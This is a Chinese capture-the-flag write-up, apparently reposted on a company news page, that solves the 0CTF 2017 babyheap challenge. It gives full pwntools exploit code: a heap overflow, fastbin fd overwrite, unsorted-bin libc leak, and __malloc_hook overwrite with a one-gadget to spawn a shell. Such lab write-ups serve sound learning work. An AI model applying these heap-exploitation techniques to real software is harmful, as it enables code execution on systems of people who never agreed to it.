尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

0CTF_babyheap

0CTF_babyheap
📅 发布时间:2026/6/19 19:44:03

babyheap_0ctf_2017 分析&完整调试过程

写这篇博客的原因是我用glic-all-in-one下载的libc的环境和远程的稍有不同,导致用网上的题解本地无法打通,加上网上的题解对于我这个新手来说不是特别详细,遂详细记录我做的第二个堆题。

配环境

用glibc-all-in-one下载libc后用patchelf进行patch

PROGRAM="/home/kali/Desktop/CTF-PWN/babyheap_octf/babyheap_0ctf_2017"# 执行关键的替换命令
patchelf --set-interpreter /home/kali/Desktop/CTF-PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so ${PROGRAM}
patchelf --replace-needed libc.so.6 /home/kali/Desktop/CTF-PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so ${PROGRAM}

ida分析

0ctf-babyheap-01 IDA截图
一个标准的菜单堆

检查alloc函数,可以通过20-22行推测堆控制结构如下(数字代表字节)

chunk+0: 是否inuse
chunk+8: size
chunk+16: 指向实际堆块的指针


检查fill函数,发现输入的内容长度可以控制,存在堆溢出漏洞

检查free函数,发现会检查控制结构里面的inuse,避免了简单的double free


检查dump函数,发现是读取控制结构中的size并全部输出

那么思路就有了,总共是两步走,第一步泄露libc基址,第二步劫持控制流

泄露libc思路

我们倒推思路,要想泄露libc基址,肯定是要利用dump函数。然后一个最常见的方法就是unsorted bin泄露,也就是当unsorted bin中只有一个chunk时,其fd和bk指针都会指向一个和libc基址偏移量固定的地址。这个时候利用dump函数把这个地址dump出来就实现了泄露

但是unsorted bin中存储的是已经被free的chunk,如何读取已经被free的chunk的数据呢?那么显然我们需要制造重叠的chunk,也就是说要使得在这个unsorted bin的数据空间也是一个被分配给用户的,inuse中的chunk。

那么这么来看,我们需要实现两个分配的堆块是同一块内存空间(双指),这样其中一个被free之后才会出现上面说到的情况。

由于不太能double free,所以结合堆溢出我们可以采用修改fd指针再两次分配的形式实现双指。也就是溢出修改在fastbin中的堆块的fd指针后再两次分配分配到我们想要的位置。

那么开始调试!

泄露libc调试

from pwn import *
io=process("/home/kali/Desktop/CTF-PWN/babyheap_octf/babyheap_0ctf_2017")
def cmd(x):io.sendlineafter('Command: ', str(x))def allocate(size):cmd(1)io.sendlineafter('Size: ', str(size))def fill(index, content):cmd(2)io.sendlineafter('Index: ', str(index))io.sendlineafter('Size: ', str(len(content)))io.sendlineafter('Content: ',content)def free(index):cmd(3)io.sendlineafter('Index: ',str(index))def dump(index):cmd(4)io.sendlineafter('Index: ', str(index))io.recvline()return io.recvline()allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)free(1)
free(2)
pause()


在这个地方停下发现我们已经有两个进入fastbin的chunk,且现在fastbin的链表头指向2

所以接下来就是溢出修改chunk2,也就是地址为0x55...40的这个。

payload=p64(0)*3
payload+=p64(0x21)#size
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,payload)

这里溢出chunk0,p64(0)*3刚好把分配的chunk的数据内容和下个chunk的prev_size保持原样。后面的p64(0x21)保持size字段一样。

可以在pwndbg中使用

b *$rebase(0x1188)

来把断点下在fill函数运行完后。(这个地址用ida找就行,具体用法请AI)

可以看到此时fd已修改完毕。

但是我们如果这个时候去直接两次分配得到双指会出现问题,因为malloc会取出fd指向的块的size检查,如何不符合链表代表的size大小就不给分配。我们的链表大小是0x10,显然和chunk4的0x80不和(那为什么一开始不把chunk4分配成0x10呢?我认为应该是为了把他之后放到unsorted bin不出问题),所以我们还得溢出一次

此时各个index的分配情况如下:
0:inuse
1:not inuse
2:not inuse
3:inuse
4:inuse

我们只能用inuse的进行溢出,所以选择靠近的chunk3(一开始分配这个chunk可能是为了不要让fastbin里的东西和即将出现的unsorted bin块合并?)

payload=p64(0)*3
payload+=p64(0x21)
fill(3,payload)allocate(0x10)
allocate(0x10)


此时我们发现分配的块已经分配上了,现在堆控制结构(用户定义的,之前分析过的那个,不是系统的)如下:
0:inuse
1:inuse
2:inuse (Addr: 0x55b749604080)
3:inuse
4:inuse (Addr: 0x55b749604080)

接下来就是泄露的预处理部分了,即先让chunk4进入Unsorted Bin

之前也提到过,要让其进入Unsorted Bin需要满足两个条件:

  • 释放(free)的chunk大小不属于fast bin的范围
  • 该chunk不和top chunk紧邻时
    关于第一条,我们只需要将其大小改回去(0x21 -> 0x91),然后free即可

关于第二条,由于chunk4是最晚申请的,他就挨着top chunk,所以需要分配一个栅栏chunk不让它和top chunk接触

payload=p64(0)*3
payload+=p64(0x91) # 修改大小
fill(3,payload)
allocate(0x80) # 栅栏chunk
free(4) 


发现chunk4已经被放进去了


然后是计算这个fd与libc基址的偏移,我这里的环境和在线不一样,我用libc-all-in-one计算出的偏移是0x7fc31efc3b78-0x7fc31ec00000=0x3c3b78

因此

libc_base=u64(dump(2)[:8].strip().ljust(8,b"\x00"))-0x3c3b78
print(f"libc: {hex(libc_base)}")

伪造fake chunk打通思路

好的,已经知道libc了,接下来就是修改函数打通他。

同样逆推,要想getshell主要有两种方法,一种是system("/bin/sh"),另一种是one-gadget。这里采用后一种(不知道前一种行不行,没试过)

一种常见的方法是修改malloc/free的hook函数,由于已经会了溢出,只需要让fd指向hook前面(更低地址)的地方然后修改hook函数为one-gadget地址后调用对应函数即可(你可以认为xx_hook就是在进行xx之前执行的函数)

伪造fake chunk打通调试

既然要修改malloc/free的hook函数,那么我们看看哪个好修改
可以通过info variables hook来找

我们需要过前面提到的size的检查,所以需要在hook的上面(更低地址)有一个能满足fake_chunk大小的字节(人话就是需要一个0x7x x为任意字,或者0x6x 0x5x这种fastbin范围里面的)
结果free_hook这边太干净了啥都没有

那只能看看malloc

有好多7f!那么我们来看看哪个满足条件
需要注意 检查size看的是8字节!!!所以需要fd+8是0x00 00 00 00 00 00 00 7f才行!!! 如果比如是0xd0 00 00 00 00 00 00 7f就不行!!!
所以这样就不行:

研究了半天,克服了小端序的种种坑爹思考方式终于弄出来了正确的地方:

然后用工具找one-gadget地址(这里我的环境又和远程不一样)

选择第三个

allocate(0x60)free(4)
payload=p64(libc_base+0x3c3aed) # 找到的的fake chunk地址
fill(2,payload)
allocate(0x60)
allocate(0x60)
payload=p8(0)*0x13              # fake chunk用户空间+13就是malloc_hook
payload+=p64(libc_base+0x4525a) # 找到的one-gadget地址fill(6,payload)
allocate(255)
io.interactive()


可以看到malloc_hook的地址修改完成了


本地打通!!!!!完结撒花!!!!
第二个打通的堆题,真是不容易。堆的难度曲线确实超乎我的想象,不过有什么比PWN成功更有成就感的呢?
远程环境和我的本地环境只有那两个偏移不一样,读者可以参考其他题解。

相关新闻

  • 重生之我在大学自学鸿蒙开发第二天-《MVVM模式》 - 教程
  • 禁止输入法联网_批量禁止指定目录下的程序联网
  • 虚幻引擎5 GAS制作俯视角RPG游戏 P05-05 游戏效果委托

最新新闻

  • 4.19周总结
  • 2026华南优质企业管理培训机构综合测评:企业管理培训哪家好 - 品牌测评鉴赏家
  • MCP1701A LDO在STM32低功耗设计中的应用与实战解析
  • 终极Excalidraw虚拟白板指南:为什么它正在取代你的传统绘图工具?
  • 跨省大件货物托运怎么选?全品类快递物流整合渠道对比,大小货手机一键预约上门 - 时讯资讯
  • 大模型应用开发-记忆模块设计:基于助手Agent类型

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号